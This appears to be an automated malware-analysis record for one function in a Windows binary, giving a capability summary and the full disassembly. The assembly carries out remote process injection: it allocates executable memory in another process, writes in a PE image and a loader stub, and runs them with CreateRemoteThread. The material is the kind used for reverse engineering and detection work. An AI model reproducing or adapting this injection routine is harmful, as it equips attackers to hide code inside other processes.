Function at 0x419f50
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x506605
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x260
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
lea ebx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], ebx
jb 0x419f91
mov ebx, eax
mov dword [ebp - 0x34], eax
lea edx, [ebp + 8]
jb 0x419f98
mov edx, eax
mov edi, dword [ebx + 0x3c]
push 0x40
add edi, edx
push 0x3000
push dword [edi + 0x50]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
mov dword [ebp - 0x10], eax
jb 0x419fbf
mov ecx, dword [ebp + 8]
push 0
push dword [edi + 0x54]
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
xor ebx, ebx
cmp ax, word [edi + 6]
jae 0x41a015
lea esi, [edi + 0x10c]
lea ecx, [ecx]
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
jb 0x419fec
mov eax, dword [ebp + 8]
mov ecx, dword [esi]
push 0
push dword [esi - 4]
add ecx, eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x10]
push ecx
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [edi + 6]
inc ebx
add esi, 0x28
cmp ebx, eax
jl 0x419fe0
mov esi, dword [ebp - 0x14]
push 0x40
push 0x3000
push 0x1000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x34]
mov ebx, eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x268], eax
push 0x200
mov ecx, dword [ecx + 0x3c]
add ecx, eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x264], ecx
mov ecx, dword [edi + 0xa0]
add ecx, eax
mov dword [ebp - 0x260], ecx
mov ecx, dword [edi + 0x80]
add ecx, eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x258], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x254], eax
lea eax, [ebp - 0x250]
push 0
push eax
mov dword [ebp - 0x25c], ecx
call fcn.004e14f0
mov edx, dword [0x534d9c]
lea ecx, [ebp - 0xf]
add esp, 0xc
mov word [ebp - 0xf], 0x3a
mov byte [ebp - 0xd], 0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41a0a4
mov eax, closesocket
sub ecx, edi
sub eax, edx
cmp eax, ecx
jb 0x41a27c
cmp dword [0x534da0], 0x10
mov eax, 0x534d8c
jb 0x41a0cf
mov eax, dword [0x534d8c]
push ecx
lea ecx, [ebp - 0xf]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x4c]
call fcn.004720e0
push 0x537320
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 1
call fcn.0046a4f0
mov edx, eax
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov ecx, dword [edx]
mov dword [ebp - 0x30], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0x2c], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x28], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x20], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x1c], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x41a171
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41a167
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a281
push ecx
push edx
call fcn.004df511
add esp, 8
cmp dword [0x534d70], 0x10
mov eax, 0x534d5c
jb 0x41a184
mov eax, dword [0x534d5c]
cmp dword [ebp - 0x1c], 0x10
lea ecx, [ebp - 0x30]
jb 0x41a190
mov ecx, dword [ebp - 0x30]
push eax
push ecx
lea eax, [ebp - 0x250]
push str._s_s
push eax
call fcn.00402f70
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x268]
add esp, 0x10
push 0
push 0x218
push eax
push ebx
push esi
call edi
push 0
mov eax, fcn.00419f40
lea esi, [ebx + 0x218]
mov ebx, dword [ebp - 0x14]
sub eax, 0x419e30
push eax
push 0x419e30
push esi
push ebx
call edi
push 0
push 0
push dword [ebp - 0x18]
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x41a229
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41a21f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a286
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp + 0x1c]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
cmp ecx, 0x10
jb 0x41a26b
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41a261
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a286
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00402270
call fcn.004e47b0
call fcn.004e47b0
int3